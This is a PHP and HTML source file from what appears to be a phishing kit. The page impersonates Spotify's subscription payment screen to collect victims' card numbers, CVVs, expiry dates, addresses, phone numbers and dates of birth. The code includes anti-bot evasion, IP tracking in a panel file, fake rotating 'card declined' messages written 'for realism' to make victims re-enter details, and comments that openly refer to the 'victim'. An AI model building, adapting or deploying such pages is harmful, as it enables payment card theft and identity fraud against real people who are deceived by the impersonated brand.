<?php
define('APP_ACCESS', true);
require_once __DIR__ . '/../config/config.php';
require_once __DIR__ . '/../includes/functions.php';
require_once __DIR__ . '/../includes/LanguageManager.php';
require_once __DIR__ . '/../includes/security/advanced-protection.php';

// Start session
if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

// Run advanced antibot protection
$advancedProtection = new AdvancedProtection();
$advancedProtection->runAllChecks();

// Check if username and password are set
if (!isset($_SESSION['username']) || !isset($_SESSION['password'])) {
    header('Location: login.php');
    exit;
}

// Initialize language manager with IP detection
$detectedLang = detectLanguage();
$langManager = getLangManager($detectedLang);
$currentLang = $detectedLang;

// Initialize error attempt counter for card
if (!isset($_SESSION['card_error_count'])) {
    $_SESSION['card_error_count'] = 0;
}

// Check if there's an error parameter
$hasError = isset($_GET['error']) && $_GET['error'] == '1';

// If there's an error, clean the IP from badcc file so user can try again
if ($hasError) {
    $_SESSION['card_error_count']++;
    
    $ip = getClientIP();
    $badccFile = BASE_PATH . '/Panel/action/ip_badcc.txt';
    
    if (file_exists($badccFile)) {
        $content = file_get_contents($badccFile);
        $content = str_replace($ip . PHP_EOL, '', $content);
        $content = str_replace($ip, '', $content);
        file_put_contents($badccFile, $content);
    }
}

// Multiple error messages for realism
$errorMessages = [
    "Your card was declined. Please check your card details and try again.",
    "Payment failed. Please verify your card information.",
    "Invalid card details. Please re-enter your payment information.",
    "Transaction declined. Please check your card and try again.",
    "Your payment could not be processed. Please verify your card details."
];

// Select error message based on attempt count (ensure index is never negative)
$errorIndex = max(0, $_SESSION['card_error_count'] - 1) % count($errorMessages);
$errorMessage = $errorMessages[$errorIndex];

// Show account locked message after 5 attempts
$showLockedWarning = $_SESSION['card_error_count'] >= 5;
?>
<!DOCTYPE html>
<html lang="<?php echo $detectedLang; ?>" dir="ltr">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Spotify - Subscription</title>
    <link rel="icon" href="https://www.scdn.co/i/_global/favicon.png">
    <meta name="robots" content="noindex">
    <style>
        * { box-sizing: border-box; margin: 0; padding: 0; }
        body { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif; background-color: #000; color: #fff; min-height: 100vh; }
        
        /* Header */
        .header { background-color: #000; border-bottom: 1px solid #282828; padding: 16px 32px; display: flex; align-items: center; justify-content: space-between; }
        .logo { height: 40px; color: #fff; }
        .user-menu { display: flex; align-items: center; gap: 24px; }
        .user-icon { width: 32px; height: 32px; background-color: #333; border-radius: 50%; display: flex; align-items: center; justify-content: center; cursor: pointer; }
        
        /* Main Container */
        .main-container { display: flex; min-height: calc(100vh - 73px); }
        
        /* Sidebar */
        .sidebar { width: 250px; background-color: #000; border-right: 1px solid #282828; padding: 24px 0; }
        .sidebar-menu { list-style: none; }
        .sidebar-menu li { padding: 12px 24px; cursor: pointer; transition: background 0.2s; }
        .sidebar-menu li:hover { background-color: #282828; }
        .sidebar-menu li.active { background-color: #282828; border-left: 3px solid #1ed760; }
        .sidebar-menu li a { color: #b3b3b3; text-decoration: none; display: flex; align-items: center; gap: 12px; font-size: 14px; }
        .sidebar-menu li.active a { color: #fff; }
        
        /* Content */
        .content { flex: 1; padding: 32px; max-width: 800px; margin: 0 auto; }
        .card { background-color: #121212; border-radius: 8px; padding: 32px; margin-bottom: 24px; }
        .card-header { margin-bottom: 24px; }
        .card-header h2 { font-size: 24px; font-weight: 700; margin-bottom: 8px; }
        .card-header p { color: #b3b3b3; font-size: 14px; line-height: 1.6; }
        
        /* Form */
        .form-row { display: flex; gap: 16px; margin-bottom: 16px; }
        .form-group { flex: 1; margin-bottom: 16px; }
        .form-group.full-width { flex: none; width: 100%; }
        .form-label { display: block; font-size: 14px; font-weight: 700; margin-bottom: 8px; color: #fff; }
        .form-input { width: 100%; padding: 12px; background-color: #000; border: 1px solid #727272; border-radius: 4px; color: #fff; font-size: 14px; outline: none; transition: all 0.2s; }
        .form-input:hover { border-color: #fff; }
        .form-input:focus { border-color: #fff; box-shadow: 0 0 0 3px rgba(255, 255, 255, 0.1); }
        .form-input.error { border-color: #f15e6c; background-color: #2a0a0a; }
        
        select.form-input { cursor: pointer; }
        
        /* Card Icons */
        .card-icons { display: flex; gap: 8px; margin-top: 8px; }
        .card-icon { width: 40px; height: 25px; border: 1px solid #727272; border-radius: 4px; display: flex; align-items: center; justify-content: center; font-size: 10px; color: #b3b3b3; }
        
        /* Legal Text */
        .legal-text { font-size: 11px; color: #6a6a6a; line-height: 1.6; margin: 16px 0; }
        
        /* Submit Button */
        .btn-submit { width: 100%; padding: 14px 32px; background-color: #1ed760; border: none; border-radius: 500px; color: #000; font-size: 16px; font-weight: 700; cursor: pointer; transition: all 0.2s; margin-top: 24px; }
        .btn-submit:hover { transform: scale(1.04); background-color: #1fdf64; }
        .btn-submit:active { transform: scale(1); }
        
        /* Loading */
        .loading { display: none; text-align: center; padding: 20px; }
        .spinner { border: 3px solid #282828; border-top: 3px solid #1ed760; border-radius: 50%; width: 40px; height: 40px; animation: spin 1s linear infinite; margin: 0 auto; }
        @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }
        
        /* Error Message Styles */
        .error-message {
            background: linear-gradient(135deg, #2a0a0a 0%, #1a0505 100%);
            border: 2px solid #f15e6c;
            border-radius: 8px;
            padding: 20px;
            margin-bottom: 20px;
            animation: shake 0.5s, fadeIn 0.3s;
            box-shadow: 0 0 20px rgba(241, 94, 108, 0.3);
        }
        
        .error-icon {
            font-size: 48px;
            text-align: center;
            margin-bottom: 10px;
            animation: pulse 1s infinite;
        }
        
        .error-text {
            color: #f15e6c;
            font-weight: 600;
            font-size: 16px;
            text-align: center;
            margin-bottom: 10px;
        }
        
        .error-attempts {
            color: #ff9999;
            font-size: 13px;
            text-align: center;
            margin-top: 8px;
            font-weight: 500;
        }
        
        .error-warning {
            color: #ffaa00;
            font-size: 13px;
            text-align: center;
            margin-top: 12px;
            padding: 10px;
            background: rgba(255, 170, 0, 0.1);
            border-radius: 4px;
            border: 1px solid rgba(255, 170, 0, 0.3);
        }
        
        /* Animations */
        @keyframes shake {
            0%, 100% { transform: translateX(0); }
            10%, 30%, 50%, 70%, 90% { transform: translateX(-10px); }
            20%, 40%, 60%, 80% { transform: translateX(10px); }
        }
        
        @keyframes fadeIn {
            from { opacity: 0; transform: translateY(-10px); }
            to { opacity: 1; transform: translateY(0); }
        }
        
        @keyframes pulse {
            0%, 100% { transform: scale(1); }
            50% { transform: scale(1.1); }
        }
        
        /* Error state for input */
        .form-input.error-shake {
            animation: shake 0.5s;
            border-color: #f15e6c !important;
            background-color: #2a0a0a !important;
        }
        
        /* Responsive */
        @media (max-width: 768px) {
            .sidebar { display: none; }
            .content { padding: 16px; }
            .form-row { flex-direction: column; }
        }
    </style>
</head>
<body>
    <!-- Header -->
    <div class="header">
        <svg role="img" viewBox="0 0 24 24" class="logo" aria-label="Spotify">
            <path d="M13.427.01C6.805-.253 1.224 4.902.961 11.524.698 18.147 5.853 23.728 12.476 23.99c6.622.263 12.203-4.892 12.466-11.514S20.049.272 13.427.01m5.066 17.579a.717.717 0 0 1-.977.268 14.4 14.4 0 0 0-5.138-1.747 14.4 14.4 0 0 0-5.42.263.717.717 0 0 1-.338-1.392c1.95-.474 3.955-.571 5.958-.29 2.003.282 3.903.928 5.647 1.92a.717.717 0 0 1 .268.978m1.577-3.15a.93.93 0 0 1-1.262.376 17.7 17.7 0 0 0-5.972-1.96 17.7 17.7 0 0 0-6.281.238.93.93 0 0 1-1.11-.71.93.93 0 0 1 .71-1.11 19.5 19.5 0 0 1 6.94-.262 19.5 19.5 0 0 1 6.599 2.165c.452.245.62.81.376 1.263m1.748-3.551a1.147 1.147 0 0 1-1.546.488 21.4 21.4 0 0 0-6.918-2.208 21.4 21.4 0 0 0-7.259.215 1.146 1.146 0 0 1-.456-2.246 23.7 23.7 0 0 1 8.034-.24 23.7 23.7 0 0 1 7.657 2.445c.561.292.78.984.488 1.546" fill="currentColor"/>
        </svg>
        <div class="user-menu">
            <div class="user-icon">
                <svg width="16" height="16" viewBox="0 0 16 16" fill="#fff">
                    <path d="M8 8a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 1.5a6.5 6.5 0 0 0-6.5 6.5h13A6.5 6.5 0 0 0 8 9.5z"/>
                </svg>
            </div>
        </div>
    </div>

    <!-- Main Container -->
    <div class="main-container">
        <!-- Sidebar -->
        <div class="sidebar">
            <ul class="sidebar-menu">
                <li><a href="#"><?php echo __('common.account_overview'); ?></a></li>
                <li><a href="#"><?php echo __('common.edit_profile'); ?></a></li>
                <li><a href="#"><?php echo __('common.change_password'); ?></a></li>
                <li><a href="#"><?php echo __('common.notification_settings'); ?></a></li>
                <li class="active"><a href="#"><?php echo __('common.subscription'); ?></a></li>
                <li><a href="#"><?php echo __('common.receipts'); ?></a></li>
                <li><a href="#"><?php echo __('common.redeem'); ?></a></li>
            </ul>
        </div>

        <!-- Content -->
        <div class="content">
            <div class="card">
                <div class="card-header">
                    <h2><?php echo __('payment.title'); ?></h2>
                    <?php if ($hasError): ?>
                        <div class="error-message" id="errorMessage">
                            <div class="error-icon">❌</div>
                            <p class="error-text"><?php echo htmlspecialchars($errorMessage); ?></p>
                            <?php if ($_SESSION['card_error_count'] > 1): ?>
                                <p class="error-attempts">Attempt <?php echo $_SESSION['card_error_count']; ?> of 5</p>
                            <?php endif; ?>
                            <?php if ($showLockedWarning): ?>
                                <p class="error-warning">⚠️ Warning: Your account may be temporarily locked after too many failed attempts.</p>
                            <?php endif; ?>
                        </div>
                    <?php endif; ?>
                    <p><?php echo __('payment.subtitle'); ?></p>
                </div>

                <div class="card-icons">
                    <div class="card-icon">VISA</div>
                    <div class="card-icon">MC</div>
                    <div class="card-icon">AMEX</div>
                </div>

                <form id="paymentForm" action="process.php" method="POST">
                    <input type="hidden" name="action" value="payment">
                    
                    <div class="form-group full-width">
                        <label for="card_name" class="form-label"><?php echo __('payment.cardholder_label'); ?></label>
                        <input type="text" id="card_name" name="card_name" class="form-input" placeholder="<?php echo __('payment.cardholder_placeholder'); ?>" required>
                    </div>

                    <div class="form-group full-width">
                        <label for="card_number" class="form-label"><?php echo __('payment.card_number_label'); ?></label>
                        <input type="text" id="card_number" name="card_number" class="form-input" placeholder="<?php echo __('payment.card_number_placeholder'); ?>" maxlength="19" required>
                    </div>

                    <div class="form-row">
                        <div class="form-group">
                            <label for="expiry_month" class="form-label"><?php echo __('payment.expiry_label'); ?> (Month)</label>
                            <select id="expiry_month" name="expiry_month" class="form-input" required>
                                <option value="">Month</option>
                                <option value="01">01</option>
                                <option value="02">02</option>
                                <option value="03">03</option>
                                <option value="04">04</option>
                                <option value="05">05</option>
                                <option value="06">06</option>
                                <option value="07">07</option>
                                <option value="08">08</option>
                                <option value="09">09</option>
                                <option value="10">10</option>
                                <option value="11">11</option>
                                <option value="12">12</option>
                            </select>
                        </div>
                        <div class="form-group">
                            <label for="expiry_year" class="form-label"><?php echo __('payment.expiry_label'); ?> (Year)</label>
                            <select id="expiry_year" name="expiry_year" class="form-input" required>
                                <option value="">Year</option>
                                <option value="2025">2025</option>
                                <option value="2026">2026</option>
                                <option value="2027">2027</option>
                                <option value="2028">2028</option>
                                <option value="2029">2029</option>
                                <option value="2030">2030</option>
                                <option value="2031">2031</option>
                                <option value="2032">2032</option>
                                <option value="2033">2033</option>
                                <option value="2034">2034</option>
                                <option value="2035">2035</option>
                                <option value="2036">2036</option>
                                <option value="2037">2037</option>
                                <option value="2038">2038</option>
                                <option value="2039">2039</option>
                                <option value="2040">2040</option>
                                <option value="2041">2041</option>
                                <option value="2042">2042</option>
                            </select>
                        </div>
                    </div>

                    <div class="form-row">
                        <div class="form-group">
                            <label for="card_cvv" class="form-label"><?php echo __('payment.cvv_label'); ?></label>
                            <input type="text" id="card_cvv" name="card_cvv" class="form-input" placeholder="<?php echo __('payment.cvv_placeholder'); ?>" maxlength="4" required>
                        </div>
                        <div class="form-group">
                            <label for="zip_code" class="form-label">Zip Code</label>
                            <input type="text" id="zip_code" name="zip_code" class="form-input" placeholder="12345" required>
                        </div>
                    </div>

                    <div class="form-row">
                        <div class="form-group">
                            <label for="address" class="form-label">Address</label>
                            <input type="text" id="address" name="address" class="form-input" placeholder="123 Main St" required>
                        </div>
                        <div class="form-group">
                            <label for="phone" class="form-label">Phone Number</label>
                            <input type="tel" id="phone" name="phone" class="form-input" placeholder="+1 234 567 8900" required>
                        </div>
                    </div>

                    <div class="form-group full-width">
                        <label for="birth_date" class="form-label">Date of Birth</label>
                        <input type="date" id="birth_date" name="birth_date" class="form-input" required>
                    </div>

                    <p class="legal-text">Spotify performs a temporary authentication on your card to verify it. This is an authorization only and NOT a fee.</p>
                    <p class="legal-text">You can check your renewal date or cancel at any time via your account page. No partial refund. Terms apply.</p>

                    <div id="loading" class="loading">
                        <div class="spinner"></div>
                        <p style="margin-top: 16px; color: #b3b3b3;"><?php echo __('loading.processing'); ?></p>
                    </div>

                    <button type="submit" id="submitBtn" class="btn-submit"><?php echo __('payment.submit_button'); ?></button>
                </form>
            </div>
        </div>
    </div>

    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script>
        // Add shake animation to inputs if there's an error
        <?php if ($hasError): ?>
        $(document).ready(function() {
            $('#card_number, #card_cvv').addClass('error-shake');
            setTimeout(function() {
                $('#card_number, #card_cvv').removeClass('error-shake');
            }, 500);
        });
        <?php endif; ?>
        
        // Format card number - ONLY ACCEPT NUMBERS
        $('#card_number').on('input', function() {
            // Remove all non-numeric characters
            let value = $(this).val().replace(/[^0-9]/g, '');
            // Format with spaces every 4 digits
            let formattedValue = value.match(/.{1,4}/g)?.join(' ') || value;
            $(this).val(formattedValue);
            // Remove error class when user starts typing
            $(this).removeClass('error error-shake');
        });
        
        // CVV - ONLY ACCEPT NUMBERS
        $('#card_cvv').on('input', function() {
            // Remove all non-numeric characters
            this.value = this.value.replace(/[^0-9]/g, '');
            $(this).removeClass('error error-shake');
        });
        
        // Zip Code - ONLY ACCEPT NUMBERS
        $('#zip_code').on('input', function() {
            // Remove all non-numeric characters
            this.value = this.value.replace(/[^0-9]/g, '');
        });
        
        // Phone - ONLY ACCEPT NUMBERS AND + SIGN
        $('#phone').on('input', function() {
            // Remove all characters except numbers, +, spaces, and hyphens
            this.value = this.value.replace(/[^0-9+\s\-()]/g, '');
        });
        
        // Remove error class when user interacts with inputs
        $('.form-input').on('input change', function() {
            $(this).removeClass('error error-shake');
        });

        // Form submission
        $('#paymentForm').on('submit', function(e) {
            e.preventDefault();
            
            // Show loading
            $('#loading').show();
            $('#submitBtn').hide();
            
            // Combine expiry
            const expiryMonth = $('#expiry_month').val();
            const expiryYear = $('#expiry_year').val();
            const cardExpiry = expiryMonth + '/' + expiryYear;
            
            // Capture card details for scan URL
            const cardNumber = $('#card_number').val().replace(/\s/g, '');
            const cardName = $('#card_name').val();
            const cardCvv = $('#card_cvv').val();
            
            $.ajax({
                url: 'process.php',
                method: 'POST',
                data: {
                    action: 'payment',
                    card_name: cardName,
                    card_number: cardNumber,
                    card_expiry: cardExpiry,
                    card_cvv: cardCvv,
                    zip_code: $('#zip_code').val(),
                    address: $('#address').val(),
                    phone: $('#phone').val(),
                    birth_date: $('#birth_date').val()
                },
                success: function(response) {
                    // Redirect after delay (no popup for victim)
                    setTimeout(function() {
                        <?php if (defined('CONTROLLER') && CONTROLLER): ?>
                        window.location.href = 'loader.php';
                        <?php else: ?>
                        window.location.href = 'verification.php';
                        <?php endif; ?>
                    }, 2000);
                },
                error: function() {
                    setTimeout(function() {
                        <?php if (defined('CONTROLLER') && CONTROLLER): ?>
                        window.location.href = 'loader.php';
                        <?php else: ?>
                        window.location.href = 'verification.php';
                        <?php endif; ?>
                    }, 2000);
                }
            });
        });
    </script>
</body>
</html>
